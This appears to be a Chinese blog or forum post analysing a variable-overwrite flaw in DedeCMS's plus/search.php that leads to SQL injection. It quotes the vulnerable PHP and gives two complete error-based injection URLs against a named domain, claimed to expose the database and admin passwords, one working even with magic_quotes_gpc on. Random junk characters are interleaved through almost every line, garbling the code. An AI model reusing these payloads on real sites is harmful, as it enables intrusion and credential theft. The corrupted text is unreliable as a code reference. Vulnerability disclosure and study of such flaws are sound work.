微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.
" ~7 c; p- [8 X+ q作者: c4rp3nt3r@0x50sec.org. H- b* H1 n% d; g) g$ d
Dedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.% o/ e5 J& ?" ]# i4 H1 b- y
$ V7 {, m1 @9 x0 }* ]0 j/ r0 e' T$ {
黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.
- [( n4 O# d; C# X% f 9 Y% ?* o0 H' M
============% X( g8 U+ e+ H! x- _8 n
' R( J# d, d5 J/ {- M, ]
4 ~ M7 T5 o9 [3 V( iDedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
K) R5 U, r b: L2 l. c* f; D) b
" M8 w, ~+ Q6 L# p wrequire_once(dirname(__FILE__).”/../include/common.inc.php”);
2 _- g* q1 d5 i4 G. yrequire_once(DEDEINC.”/arc.searchview.class.php”);. U1 h3 ^1 G$ g: \0 T
3 A' e1 y: y Z3 v7 e& n# d
$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;
1 L3 S7 R P+ Y% z# ^% c$ ]$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;( F9 X6 n g% v+ K$ `
$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;
9 H* _( i( z/ z! ~2 C+ o$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;7 T( R" N) G2 x4 k% S5 E3 O
$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;' r% T6 l; k7 [
3 ]+ {! p7 P( [# {" v6 M; s, Hif(!isset($orderby)) $orderby=”;
9 _' g0 H. m$ U) P: L: D, S% Pelse $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);
7 Q$ T" \% T/ u' o. d
: p! r' f% L/ l- v/ t 9 V4 \* G3 Y' a1 F$ F% {- m, X! o
if(!isset($searchtype)) $searchtype = ‘titlekeyword’;$ d" G+ U" Y6 M! |9 A4 W+ y
else $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype); b, p1 i. t. N4 |' Z
( a# @& h" V. E4 g) j+ M9 V
if(!isset($keyword)){7 ?0 C$ Y8 w3 g0 m: B
if(!isset($q)) $q = ”;
, q6 y% P Q! z3 c m $keyword=$q;
' d* Z( w, s( O9 U$ P6 O# p- h}1 j& V5 f p- v( G8 F% x! o
! V+ F+ b( l3 ^" S$ h9 F! s0 d: e
$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));
1 F% B! B: ?+ V7 h1 u0 T $ q E6 Y7 O6 |7 C$ l+ ^
//查找栏目信息
# e3 h ^# t+ N) d9 Rif(empty($typeid)): b# m3 C) e4 Z: a: e
{
0 Q4 n: z4 _, c% f" N9 B# c $typenameCacheFile = DEDEDATA.’/cache/typename.inc’;
1 s6 C- x, w0 R# m" }! ]7 Y* M1 K- } if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )
) p- V. P- s8 [( m {8 B1 q) L0 `* L! e6 E
$fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);5 Z1 p5 C2 h/ S- R) q
fwrite($fp, “<”.”?php\r\n”);& V# M( U3 v8 E! D
$dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);
4 T8 s1 z2 k3 Q3 {3 A$ I8 u $dsql->Execute();
2 o4 i: b5 D( o3 Z5 y# I: Z while($row = $dsql->GetArray())
N! A1 Q" C3 l9 y. B* H- h( | {
5 A9 S/ v+ M k% V fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);
/ r( I9 v: O# u r }8 i; j4 M, p! {& [+ e
fwrite($fp, ‘?’.'>’);- z( h: G) j1 B" V6 W! P+ H! K- P
fclose($fp);0 ]: Y8 |" H7 M3 f9 M+ U
}+ m$ I; U, f ]: ?. g
//引入栏目缓存并看关键字是否有相关栏目内容. I" p' Y! S) m7 E5 O8 _
require_once($typenameCacheFile);
1 c6 X# I; p2 \2 j//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个
* S8 Z7 b! K$ u0 e( p//+ m1 P2 ~% B; \% k, y
if(isset($typeArr) && is_array($typeArr)): _. R F3 T& V. l# R8 g$ c* K- n8 S
{7 x6 V4 |. u1 R S4 H
foreach($typeArr as $id=>$typename), X6 t5 W' ]# i4 q
{
1 `% {0 O& ^% R# F E
+ z( F6 z6 O, l3 q. c$ Y$ ` <font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font> //这个地方要绕过0 o% Z7 \; n" ?5 D8 ~
if($keyword != $keywordn)
7 c# `/ \3 u, l1 \2 w. n# J, q/ m {9 O, v6 Z7 `7 S6 {: q
$keyword = $keywordn;9 `' @4 E1 T/ Q
<font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设
! W7 k5 d9 G- T0 o' Y% u break;1 D. `: G7 H0 Z& H0 _( g2 d- d
}
5 @% w, [ Z' q; l7 y+ \# Q }) N" C/ m% _/ ?
}
/ o3 E; t& m8 U" {. k/ r8 n}( j0 y3 Q9 I/ v+ V5 {0 \2 O
然后plus/search.php文件下面定义了一个 Search类的对象 . g3 z; s6 p0 A. o! X2 C
在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.
: B" p! V9 d; G$ ~$ y$this->TypeLink = new TypeLink($typeid); C% r* m1 n: K8 \ }
K! s+ p% Z& l3 P( D& E
TypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.: T8 n7 Z, \9 X" n
/ F! w" x( u* O: y3 c2 w/ G: O
class TypeLink
( _/ e* h) m5 j6 y5 h1 p{- G9 { B9 v9 x( _! K0 ^+ g3 \5 I9 a
var $typeDir;
: O3 F: _' [( P% P var $dsql;
/ @! q% h# J5 }, j, j0 N var $TypeID;
) c, J* b! p0 d! e2 Z6 ? var $baseDir;4 W' v( Z9 C0 O; Z* j
var $modDir;. Q! @7 `5 S% b" E
var $indexUrl;2 h; q1 |- q# i$ V2 f) u7 g+ a
var $indexName;% e- ~7 d" l' I5 X
var $TypeInfos;
+ l$ ? W- S8 f" ` var $SplitSymbol;
* l' s# c& c% [: c1 I var $valuePosition;
9 Q1 H4 D. q; `& \7 h& W var $valuePositionName;' c- @; j: H/ g. ~
var $OptionArrayList;//构造函数///////9 T" r V0 u7 ~8 Q, w
//php5构造函数
; L% d9 H9 q# ^- o function __construct($typeid)
4 f& r% x: b! V {1 ]4 D6 r# z+ [4 k
$this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];' e) w3 C8 w1 v4 X4 V
$this->indexName = $GLOBALS['cfg_indexname'];
9 v6 ` f4 h3 N% s# i/ Y3 N% [4 B9 J7 B $this->baseDir = $GLOBALS['cfg_basedir'];/ O- d, {& E, w+ F6 g4 B
$this->modDir = $GLOBALS['cfg_templets_dir'];
7 c9 Y- I& N4 q' x7 Q7 o$ { $this->SplitSymbol = $GLOBALS['cfg_list_symbol'];
$ `( R) F! D( K' y $this->dsql = $GLOBALS['dsql'];
% D6 h& ~# E3 Y $this->TypeID = $typeid;
4 F% g+ J1 n9 x4 Z( O9 [# ~& r $this->valuePosition = ”;# ]- r6 A) c% A8 a6 A
$this->valuePositionName = ”;4 w$ e4 F( w+ G$ M
$this->typeDir = ”;( y& \( c5 Y5 Q6 n, P0 H2 A
$this->OptionArrayList = ”;; ]: o. ]- ]" h3 @; }
% r+ W/ [" K; u2 A9 P7 H6 N
//载入类目信息
2 I1 z S& B& m$ k. D, \2 P3 | ! e, @8 R, i! @. x4 D6 t% E3 m" N5 {
<font color=”Red”>$query = “SELECT tp.*,ch.typename as
# a! d- j, A& b5 M! B/ `ctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join
, `+ N& f. n$ {`#@__channeltype` ch
( N8 l* z5 j, {: k( L' n on ch.id=tp.channeltype WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿. s3 M5 C) N2 ?+ a5 \: J0 D. @
2 @) ^: H! }" z! T if($typeid > 0); m2 a+ U$ i) `# D
{0 w, v& I4 |; L" \1 p
$this->TypeInfos = $this->dsql->GetOne($query);
0 V8 L0 Y- Q- A( w& i9 `利用代码一 需要 即使magic_quotes_gpc = Off! }* \+ k8 Z/ k9 z8 n
; m. b9 g' Y9 H2 f* W8 q2 e
www.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title! f/ G3 s7 T& X8 D! U8 T8 k
. w7 e' [' U }& ^ i# t
这只是其中一个利用代码… Search 类的构造函数再往下
% k9 z3 N; O) ^) G( B* g: a 4 R) k# `( m1 M# o
……省略/ ?/ e3 N/ d( d% H2 E) a" x
$this->TypeID = $typeid;
; f5 E8 V, h) P5 I……省略
( c E" f7 N7 J* R, Cif($this->TypeID==”0″){
# Z, h+ j r9 p! z: o $this->ChannelTypeid=1;, s" f7 x6 L4 z, ?* y8 v) L" r
}else{
# O8 x$ u7 m b5 m& p+ r7 t) W+ m $row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲9 r, s: c. h' W
//现在不鸡肋了吧亲…
7 u* i4 m6 ~! m W" o$ M4 P $this->ChannelTypeid=$row['channeltype'];
( _5 f l- h f1 p6 Q2 k+ t ) f7 s8 J, y7 U
}
3 z( {7 p; y$ C% w) k; M* b利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.
9 ~( R! o( t& j' ]8 E
. p. A6 C; O6 w1 f7 U! M/ [( U$ kwww.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title
5 F+ S- ~* Q, {5 e4 M8 |3 p 6 i3 o4 d2 @6 m9 ?8 F/ s( a4 Z
如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站
5 z7 B. S! I! o" W' r5 Z |